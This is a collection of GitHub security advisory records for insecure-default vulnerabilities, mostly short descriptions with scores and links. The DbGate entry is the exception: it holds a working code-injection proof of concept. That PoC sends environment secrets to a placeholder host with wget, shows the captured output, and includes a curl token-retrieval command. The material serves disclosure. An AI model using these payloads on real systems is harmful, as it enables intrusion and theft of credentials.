CWE-1188

{
  "affected": [],
  "aliases": [
    "CVE-2017-6750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-25T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in AsyncOS for the Cisco Web Security Appliance (WSA) could allow an unauthenticated, local attacker to log in to the device with the privileges of a limited user or an unauthenticated, remote attacker to authenticate to certain areas of the web GUI, aka a Static Credentials Vulnerability. Affected Products: virtual and hardware versions of Cisco Web Security Appliance (WSA). More Information: CSCve06124. Known Affected Releases: 10.1.0-204. Known Fixed Releases: 10.5.1-270.",
  "id": "GHSA-8hj4-pmp7-hg69",
  "modified": "2022-05-13T01:46:46Z",
  "published": "2022-05-13T01:46:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6750"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170719-wsa4"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99924"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038958"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "UmbracoForms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-07-29T17:28:16Z",
    "nvd_published_at": "2020-07-28T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects all versions of package UmbracoForms. When using the default configuration for upload forms, it is possible to upload arbitrary file types. The package offers a way for users to mitigate the issue. The users of this package can create a custom workflow and frontend validation that blocks certain file types, depending on their security needs and policies.",
  "id": "GHSA-8m73-w2r2-6xxj",
  "modified": "2023-03-03T00:01:57Z",
  "published": "2020-07-29T17:29:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7685"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-DOTNET-UMBRACOFORMS-595765"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure defaults in UmbracoForms"
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-10605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-01T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Martem TELEM GW6/GWM versions prior to 2.0.87-4018403-k4 may allow unprivileged users to modify/upload a new system configuration or take the full control over the RTU using default credentials to connect to the RTU.",
  "id": "GHSA-8mwr-27x6-vj6v",
  "modified": "2022-05-13T01:35:00Z",
  "published": "2022-05-13T01:35:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10605"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-142-01"
    },
    {
      "type": "WEB",
      "url": "https://martem.eu/csa/Martem_CSA_Telem_1805183.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-59321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T15:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "CPSD CryptoPro Secure Disk for Bitlocker before v7.7.4 contains a default TPM PCR policy that fails to consider the system boot state. This allows the TPM to be unsealed via an unintended execution path or from another hardware platform.",
  "id": "GHSA-8p6w-m6x6-m837",
  "modified": "2026-08-13T18:31:23Z",
  "published": "2026-08-12T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59321"
    },
    {
      "type": "WEB",
      "url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-Wednesday.pdf"
    },
    {
      "type": "WEB",
      "url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-wp.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.cpsd.at/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-0387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-26T16:27:49Z",
    "severity": "MODERATE"
  },
  "details": "The EDS-4000/G4000 Series prior to version 3.2 includes IP forwarding capabilities that users cannot deactivate. An attacker may be able to send requests to the product and have it forwarded to the target. An attacker can bypass access controls or hide the source of malicious requests.",
  "id": "GHSA-8q86-4x73-99v8",
  "modified": "2025-02-26T00:32:11Z",
  "published": "2024-02-26T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0387"
    },
    {
      "type": "WEB",
      "url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-237129-eds-4000-g4000-series-ip-forwarding-vulnerability?viewmode=0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-41245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T17:15:31Z",
    "severity": "MODERATE"
  },
  "details": "VMware Aria Operations contains an information disclosure vulnerability.\u00a0A malicious actor with non-administrative privileges in Aria Operations may exploit this vulnerability to disclose credentials of other users of Aria Operations.",
  "id": "GHSA-8rq8-hfwr-4p7v",
  "modified": "2025-09-29T18:33:13Z",
  "published": "2025-09-29T18:33:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41245"
    },
    {
      "type": "WEB",
      "url": "http://support.broadcom.com/group/ecx/support-content-view/-/support-content/Security%20Advisories/VMSA-2025-0015--VMware-Aria-Operations-and-VMware-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41244-CVE-2025-41245--CVE-2025-41246-/36149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dbgate-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:25:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nDbGate\u0027s JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == \u0027json\u0027`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n    if (script.type == \u0027json\u0027) {\n        if (!platformInfo.isElectron) {\n            if (!checkSecureDirectoriesInScript(script)) {\n                return { errorMessage: \u0027Unallowed directories in script\u0027 };\n            }\n        }\n        logJsonRunnerScript(req, script);\n        const js = await jsonScriptToJavascript(script);\n        return this.startCore(runid, scriptTemplate(js, false));\n    }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script\u0027s `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n    if (nsMatch) {\n        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n    }\n    return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n    const x = await dbgateApi.x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget \u003cattacker host\u003e\u0027);//({});\n    await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: \u003cdbgate-instance\u003e:3000\nAuthorization: Bearer \u003ctoken\u003e\nContent-Type: application/json\n\n{\n  \"script\": {\n    \"type\": \"json\",\n    \"commands\": [\n      {\n        \"type\": \"assign\",\n        \"variableName\": \"x\",\n        \"functionName\": \"x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget --post-data \\\"$(env 2\u003e1\u0026)\\\" \u003cout of band host\u003e\u0027);//\",\n        \"props\": {}\n      }\n    ],\n    \"packageNames\": []\n  }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: \u003cout of band host\u003e\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\"   -d \u0027{\"amoid\":\"none\"}\u0027   \u003cdbgate-instance\u003e:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access |  9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n \u2014 https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
  "id": "GHSA-8v3q-9vmx-36vc",
  "modified": "2026-06-05T16:25:23Z",
  "published": "2026-06-05T16:25:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbgate/dbgate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T15:40:08Z",
    "nvd_published_at": "2026-08-22T15:16:18Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.",
  "id": "GHSA-8vh5-mgjj-w6hg",
  "modified": "2026-09-02T15:40:08Z",
  "published": "2026-08-22T15:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62388"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls",
  "withdrawn": "2026-09-02T15:40:08Z"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-79394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T19:17:46Z",
    "severity": "HIGH"
  },
  "details": "An insecure default configuration in the embedded Happytime RTSP server within the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier ships with authentication disabled, allowing remote unauthenticated attackers to access live H.264 video and G.711 audio feeds in cleartext over unencrypted RTP/UDP.",
  "id": "GHSA-9336-2gc5-q65c",
  "modified": "2026-09-15T18:32:18Z",
  "published": "2026-09-11T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShiroiBoushi/vulnerability-research/tree/main/CVE-2026-79394"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-19275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-02T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The BluStar component in Mitel InAttend before 2.5 SP3 and CMG before 8.4 SP3 Suite Servers has a default password, which could allow remote attackers to gain unauthorized access and execute arbitrary scripts with potential impacts to the confidentiality, integrity and availability of the system.",
  "id": "GHSA-97v5-h9x8-c8wj",
  "modified": "2022-05-13T01:19:46Z",
  "published": "2022-05-13T01:19:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19275"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/-/media/mitel/pdf/security-advisories/security-bulletin-190002001-v10.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/en-gb/support/security-advisories/mitel-product-security-advisory-19-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}